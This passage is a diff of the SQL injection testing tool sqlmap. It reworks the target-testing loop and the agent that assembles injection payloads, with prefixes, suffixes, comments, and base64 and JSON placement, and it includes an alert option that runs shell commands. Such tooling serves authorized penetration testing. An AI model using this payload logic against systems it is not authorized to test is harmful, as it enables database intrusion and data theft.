conf.direct: initTargetEnv() @@ -236,36 +281,75 @@ def start(): action() return True - if conf.url and not any([conf.forms, conf.crawlDepth]): - kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie )) + if conf.url and not any((conf.forms, conf.crawlDepth)): + kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) - if conf.configFile and not kb.targetUrls: + if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " - errMsg += "the target url, list of targets or google dork" + errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False - if kb.targetUrls and len(kb.targetUrls) > 1: - infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls) + if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1: + infoMsg = "found a total of %d targets" % len(kb.targets) logger.info(infoMsg) - hostCount = 0 - cookieStr = "" + targetCount = 0 + initialHeaders = list(conf.httpHeaders) + + for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: + targetCount += 1 - for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls: try: + if conf.checkInternet: + infoMsg = "checking for Internet connection" + logger.info(infoMsg) + + if not checkInternet(): + warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") + dataToStdout(warnMsg) + + valid = False + for _ in xrange(conf.retries): + if checkInternet(): + valid = True + break + else: + dataToStdout('.') + time.sleep(5) + + if not valid: + errMsg = "please check your Internet connection and rerun" + raise SqlmapConnectionException(errMsg) + else: + dataToStdout("\n") + conf.url = targetUrl - conf.method = targetMethod + conf.method = targetMethod.upper().strip() if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie + conf.httpHeaders = list(initialHeaders) + conf.httpHeaders.extend(targetHeaders or []) + + if conf.randomAgent or conf.mobile: + for header, value in initialHeaders: + if header.upper() == HTTP_HEADER.USER_AGENT.upper(): + conf.httpHeaders.append((header, value)) + break + + if conf.data: + # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers + conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data) + + conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] initTargetEnv() parseTargetUrl() testSqlInj = False - if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): - for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or ";", conf.pDel or ";"), conf.parameters[PLACE.GET]): + if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)): + for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: @@ -276,7 +360,15 @@ def start(): if paramKey not in kb.testedParams: testSqlInj = True - testSqlInj &= (conf.hostname, conf.path, None, None) not in kb.testedParams + if testSqlInj and conf.hostname in kb.vulnHosts: + if kb.skipVulnHost is None: + message = "SQL injection vulnerability has already been detected " + message += "against '%s'. Do you want to skip " % conf.hostname + message += "further tests involving it? [Y/n]" + + kb.skipVulnHost = readInput(message, default='Y', boolean=True) + + testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl @@ -284,126 +376,134 @@ def start(): continue if conf.multipleTargets: - hostCount += 1 - - if conf.forms: - message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl) + if conf.forms and conf.method: + message = "[%d/%s] Form:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl) else: - message = "url %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") + message = "[%d/%s] URL:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie - if conf.data: - message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else "" + if conf.data is not None: + message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) - if conf.forms: + if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if not test or test[0] in ("y", "Y"): - if conf.method == HTTPMETHOD.POST: - message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") + if choice == 'N': + continue + elif choice == 'Q': + break + else: + if conf.method != HTTPMETHOD.GET: + message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) - conf.data = __randomFillBlankFields(conf.data) + conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data - elif conf.method == HTTPMETHOD.GET: - if targetUrl.find("?") > -1: - firstPart = targetUrl[:targetUrl.find("?")] - secondPart = targetUrl[targetUrl.find("?")+1:] + else: + if '?' in targetUrl: + firstPart, secondPart = targetUrl.split('?', 1) message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) - test = __randomFillBlankFields(test) + test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() - elif test[0] in ("n", "N"): - continue - elif test[0] in ("q", "Q"): - break - - elif conf.realTest: - logger.info(message) else: - message += "\ndo you want to test this url? [Y/n/q]" - test = readInput(message, default="Y") - - if not test or test[0] in ("y", "Y"): + if not conf.scope: + message += "\ndo you want to test this URL? [Y/n/q]" + choice = readInput(message, default='Y').upper() + + if choice == 'N': + dataToStdout(os.linesep) + continue + elif choice == 'Q': + break + else: pass - elif test[0] in ("n", "N"): - continue - elif test[0] in ("q", "Q"): - break - infoMsg = "testing url %s" % targetUrl + infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() - if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): + if not checkConnection(suppressOutput=conf.forms): continue - if conf.checkWaf: - checkWaf() + if conf.rParam and kb.originalPage: + kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)]) + + for match in re.finditer(r"(?si)]+\bname\s*=\s*[\"']([^\"']+)(.+?)", kb.originalPage): + name, _ = match.groups() + options = tuple(re.findall(r"]+\bvalue\s*=\s*[\"']([^\"']+)", _)) + if options: + kb.randomPool[name] = options + + checkWaf() if conf.nullConnection: checkNullConnection() - if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ - and (kb.injection.place is None or kb.injection.parameter is None): - - if not conf.string and not conf.regexp and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: + if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): + if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() - # Do a little prioritization reorder of a testable parameter list - parameters = conf.parameters.keys() + # Do a little prioritization reorder of a testable parameter list + parameters = list(conf.parameters.keys()) - # Order of testing list (last to first) - orderList = (PLACE.URI, PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + # Order of testing list (first to last) + orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) - for place in orderList: + for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True - for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 - skip = (place == PLACE.UA and conf.level < 3) - skip |= (place == PLACE.REFERER and conf.level < 3) + skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3)) + skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3)) + + # --param-filter + skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) # Test Host header only if # --level >= 5 - skip |= (place == PLACE.HOST and conf.level < 5) + skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5)) # Test Cookie header only if --level >= 2 - skip |= (place == PLACE.COOKIE and conf.level < 2) + skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2)) - skip |= (place == PLACE.UA and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) + skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) + skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None)) - skip &= not (place == PLACE.UA and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) + skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) + skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue - if not conf.paramDict.has_key(place): + if place not in conf.paramDict or place not in conf.parameters: continue paramDict = conf.paramDict[place] + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place + for parameter, value in paramDict.items(): if not proceed: break @@ -412,158 +512,219 @@ def start(): testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) + if kb.processUserMarks: + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI): + if kb.processNonCustom is None: + message = "other non-custom parameters found. " + message += "Do you want to process them too? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processNonCustom = choice == 'Y' + + if not kb.processNonCustom: + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + continue + if paramKey in kb.testedParams: testSqlInj = False - infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter) + infoMsg = "skipping previously processed %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif parameter in conf.testParameter: + elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))): pass - elif parameter == conf.rParam: + elif parameter in conf.rParam: testSqlInj = False - infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter) + infoMsg = "skipping randomizing %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif parameter in conf.skip: + elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip: testSqlInj = False - infoMsg = "skipping %s parameter '%s'" % (place, parameter) + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - # Ignore session-like parameters for --level < 4 - elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS: + elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)): testSqlInj = False - infoMsg = "ignoring %s parameter '%s'" % (place, parameter) + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif conf.realTest: - pass + elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I): + testSqlInj = False - elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: - if not checkDynParam(place, parameter, value): - warnMsg = "%s parameter '%s' appears to be not dynamic" % (place, parameter) - logger.warn(warnMsg) + infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter + logger.info(infoMsg) - else: - infoMsg = "%s parameter '%s' is dynamic" % (place, parameter) - logger.info(infoMsg) + # Ignore session-like parameters for --level < 4 + elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter)): + testSqlInj = False - kb.testedParams.add(paramKey) + infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) - if testSqlInj: - check = heuristicCheckSqlInjection(place, parameter) + elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic: + check = checkDynParam(place, parameter, value) if not check: - if conf.smart or conf.realTest and not simpletonCheckSqlInjection(place, parameter, value): - infoMsg = "skipping %s parameter '%s'" % (place, parameter) - logger.info(infoMsg) - continue + warnMsg = "%sparameter '%s' does not appear to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.warning(warnMsg) - infoMsg = "testing for SQL injection on %s " % place - infoMsg += "parameter '%s'" % parameter - logger.info(infoMsg) - - injection = checkSqlInjection(place, parameter, value) - proceed = not kb.endDetection - - if injection is not None and injection.place is not None: - kb.injections.append(injection) + if conf.skipStatic: + infoMsg = "skipping static %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) - # In case when user wants to end detection phase (Ctrl+C) - if not proceed: - break + testSqlInj = False + else: + infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) - msg = "%s parameter '%s' " % (injection.place, injection.parameter) - msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " - test = readInput(msg, default="N") + kb.testedParams.add(paramKey) - if test[0] not in ("y", "Y"): - proceed = False - paramKey = (conf.hostname, conf.path, None, None) - kb.testedParams.add(paramKey) - else: - warnMsg = "%s parameter '%s' is not " % (place, parameter) - warnMsg += "injectable" - logger.warn(warnMsg) + if testSqlInj: + try: + if place == PLACE.COOKIE: + pushValue(kb.mergeCookies) + kb.mergeCookies = False + + check = heuristicCheckSqlInjection(place, parameter) + + if check != HEURISTIC_TEST.POSITIVE: + if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + continue + + infoMsg = "testing for SQL injection on %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + injection = checkSqlInjection(place, parameter, value) + proceed = not kb.endDetection + injectable = False + + if getattr(injection, "place", None) is not None: + if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: + kb.falsePositives.append(injection) + else: + injectable = True + + kb.injections.append(injection) + + if not kb.alerted: + if conf.alert: + infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert + logger.info(infoMsg) + try: + process = subprocess.Popen(conf.alert, shell=True) + process.wait() + except Exception as ex: + errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) + logger.error(errMsg) + + kb.alerted = True + + # In case when user wants to end detection phase (Ctrl+C) + if not proceed: + break + + msg = "%sparameter '%s' " % ("%s " % injection.place if injection.place != injection.parameter else "", injection.parameter) + msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " + + if not readInput(msg, default='N', boolean=True): + proceed = False + paramKey = (conf.hostname, conf.path, None, None) + kb.testedParams.add(paramKey) + + if not injectable: + warnMsg = "%sparameter '%s' does not seem to be injectable" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.warning(warnMsg) + + finally: + if place == PLACE.COOKIE: + kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" - raise sqlmapNoneDataException, errMsg - elif not conf.realTest: - errMsg = "all parameters appear to be not injectable." + if kb.originalPage: + advice = [] + if not conf.forms and re.search(r"<]+\Z", r"[^ ]+\Z"))[0].group(0) + except IndexError: + pass origValue = origValue[origValue.rfind('/') + 1:] - for char in ('?', '=', ':'): + for char in ('?', '=', ':', ',', '&'): if char in origValue: origValue = origValue[origValue.rfind(char) + 1:] elif place == PLACE.CUSTOM_POST: - origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] - origValue = extractRegexResult(r"(?s)(?P(\W+\Z|\w+\Z))", origValue) + paramString = origValue + origValue = origValue.split(kb.customInjectionMark)[0] + if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): + origValue = re.split(r"['\">]", origValue)[-1] + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + match = re.search(r"['\"]", origValue) + quote = match.group(0) if match else '"' + origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) + else: + _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" + origValue = _.split('=', 1)[1] if '=' in _ else _ + elif place == PLACE.CUSTOM_HEADER: + paramString = origValue + origValue = origValue[origValue.find(',') + 1:] + origValue = origValue.split(kb.customInjectionMark)[0] + match = re.search(r"([^;]+)=(?P[^;]*);?\Z", origValue) + if match: + origValue = match.group("value") + elif ',' in paramString: + header = paramString.split(',')[0] + + if header.upper() == HTTP_HEADER.AUTHORIZATION.upper(): + origValue = origValue.split(' ')[-1].split(':')[-1] + + origValue = origValue or "" if value is None: if where == PAYLOAD.WHERE.ORIGINAL: value = origValue elif where == PAYLOAD.WHERE.NEGATIVE: if conf.invalidLogical: - match = re.search(r'\A[^ ]+', newValue) + match = re.search(r"\A[^ ]+", newValue) newValue = newValue[len(match.group() if match else ""):] - value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", randomInt(2), randomInt(2)) + _ = randomInt(2) + value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: - value = "%d.%d" % (randomInt(6), randomInt(1)) + value = randomInt(6) + elif conf.invalidString: + value = randomStr(6) else: if newValue.startswith("-"): value = "" @@ -106,35 +179,88 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N newValue = "%s%s" % (value, newValue) - newValue = self.cleanupPayload(newValue, origValue) + newValue = self.cleanupPayload(newValue, origValue) or "" + + if base64Encoding: + _newValue = newValue + _origValue = origValue - if place == PLACE.SOAP: - root = ET.XML(paramString) - iterator = root.getiterator(parameter) + if newValue: + newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\') + newValue = self.adjustLateValues(newValue) - for child in iterator: - child.text = self.addPayloadDelimiters(newValue) + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488 + if kb.customInjectionMark in origValue: + payload = newValue.replace(origValue, "") + newValue = origValue.replace(kb.customInjectionMark, payload) - retVal = ET.tostring(root) - elif place in (PLACE.URI, PLACE.CUSTOM_POST): - retVal = paramString.replace("%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR), self.addPayloadDelimiters(newValue)) - elif place in (PLACE.UA, PLACE.REFERER, PLACE.HOST): + # TODO: support for POST_HINT + newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER) + + if parameter in kb.base64Originals: + origValue = kb.base64Originals[parameter] + else: + origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) + + if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + _ = "%s%s" % (origValue, kb.customInjectionMark) + + if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: + newValue = '"%s"' % self.addPayloadDelimiters(newValue) + elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: + newValue = "'%s'" % self.addPayloadDelimiters(newValue) + else: + newValue = self.addPayloadDelimiters(newValue) + + if newValue: + newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) + retVal = paramString.replace(_, newValue) + + retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark) + elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: + if base64Encoding: + retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue) + match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal) + if match: + retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING))) + else: + retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) + elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: - retVal = paramString.replace("%s=%s" % (parameter, origValue), - "%s=%s" % (parameter, self.addPayloadDelimiters(newValue))) - - return retVal + def _(pattern, repl, string): + retVal = string + match = None + + for match in re.finditer(pattern, string or ""): + pass + + if match: + while True: + _ = re.search(r"\\g<([^>]+)>", repl) + if _: + try: + repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + except IndexError: + break + else: + break + retVal = string[:match.start()] + repl + string[match.end():] + return retVal + + if origValue: + regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") + retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) + else: + retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) - def fullPayload(self, query): - if conf.direct: - return self.payloadDirect(query) + if retVal == paramString and urlencode(parameter) != parameter: + retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) - query = self.prefixQuery(query) - query = self.suffixQuery(query) - payload = self.payload(newValue=query) + if retVal: + retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') - return payload + return retVal def prefixQuery(self, expression, prefix=None, where=None, clause=None): """ @@ -146,39 +272,45 @@ def prefixQuery(self, expression, prefix=None, where=None, clause=None): if conf.direct: return self.payloadDirect(expression) + if expression is None: + return None + expression = self.cleanupPayload(expression) - expression = unescaper.unescape(expression) + expression = unescaper.escape(expression) query = None - if where is None and kb.technique and kb.technique in kb.injection.data: - where = kb.injection.data[kb.technique].where + if where is None and getTechnique() is not None and getTechnique() in kb.injection.data: + where = getTechniqueData().where # If we are replacing () the parameter original value with # our payload do not prepend with the prefix - if where == PAYLOAD.WHERE.REPLACE: + if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030 query = "" # If the technique is stacked queries () do not put a space # after the prefix or it is in GROUP BY / ORDER BY () - elif kb.technique == PAYLOAD.TECHNIQUE.STACKED: + elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix - elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]: + elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]: query = kb.injection.prefix - elif clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]: + elif clause == [2, 3] or clause == [2] or clause == [3]: query = prefix # In any other case prepend with the full prefix else: query = kb.injection.prefix or prefix or "" - if not (expression and expression[0] == ";"): + if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes + query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False)) + + if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " - query = "%s%s" % (query, expression) + query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) return query - def suffixQuery(self, expression, comment=None, suffix=None, where=None): + def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True): """ This method appends the DBMS comment to the SQL injection request @@ -187,48 +319,71 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None): if conf.direct: return self.payloadDirect(expression) + if expression is None: + return None + expression = self.cleanupPayload(expression) - if Backend.getIdentifiedDbms() == DBMS.ACCESS and comment == GENERIC_SQL_COMMENT: - comment = "%00" + # Take default values if None + suffix = kb.injection.suffix if kb.injection and suffix is None else suffix + + if getTechnique() is not None and getTechnique() in kb.injection.data: + where = getTechniqueData().where if where is None else where + comment = getTechniqueData().comment if comment is None else comment + + if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)): + if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query): + comment = queries[Backend.getIdentifiedDbms()].comment.query if comment is not None: expression += comment - if where is None and kb.technique and kb.technique in kb.injection.data: - where = kb.injection.data[kb.technique].where - # If we are replacing () the parameter original value with # our payload do not append the suffix - if where == PAYLOAD.WHERE.REPLACE: + if where == PAYLOAD.WHERE.REPLACE and not conf.suffix: pass - elif any([kb.injection.suffix, suffix]) and not (comment and not conf.suffix): - expression += " %s" % (kb.injection.suffix or suffix) + elif suffix and not comment: + if re.search(r"\w\Z", expression) and re.search(r"\A\w", suffix): + expression += " " - return re.sub(r"(?s);\W*;", ";", expression) + expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) + + return re.sub(r";\W*;", ";", expression) if trimEmpty else expression def cleanupPayload(self, payload, origValue=None): - if payload is None: + if not isinstance(payload, six.string_types): return - _ = ( - ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\ - ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\ - ("[HASH_REPLACE]", kb.chars.hash_) - ) - payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) - - for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): + replacements = { + "[DELIMITER_START]": kb.chars.start, + "[DELIMITER_STOP]": kb.chars.stop, + "[AT_REPLACE]": kb.chars.at, + "[SPACE_REPLACE]": kb.chars.space, + "[DOLLAR_REPLACE]": kb.chars.dollar, + "[HASH_REPLACE]": kb.chars.hash_, + "[GENERIC_SQL_COMMENT]": GENERIC_SQL_COMMENT + } + + for value in re.findall(r"\[[A-Z_]+\]", payload): + if value in replacements: + payload = payload.replace(value, replacements[value]) + + for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)): payload = payload.replace(_, str(randomInt())) - for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): + for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)): payload = payload.replace(_, randomStr()) if origValue is not None: - payload = payload.replace("[ORIGVALUE]", origValue) + origValue = getUnicode(origValue) + + if "[ORIGVALUE]" in payload: + payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) + if "[ORIGINAL]" in payload: + payload = getUnicode(payload).replace("[ORIGINAL]", origValue) - if "[INFERENCE]" in payload: + if INFERENCE_MARKER in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference @@ -240,11 +395,12 @@ def cleanupPayload(self, payload, origValue=None): else: inferenceQuery = inference.query - payload = payload.replace("[INFERENCE]", inferenceQuery) - else: + payload = payload.replace(INFERENCE_MARKER, inferenceQuery) + + elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) return payload @@ -254,7 +410,33 @@ def adjustLateValues(self, payload): """ if payload: - payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) + for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): + _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) + payload = payload.replace(match.group(0), _) + + payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) + payload = payload.replace(SINGLE_QUOTE_MARKER, "'") + + for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): + payload = payload.replace(_, str(randomInt())) + + for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): + payload = payload.replace(_, randomStr()) + + if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in 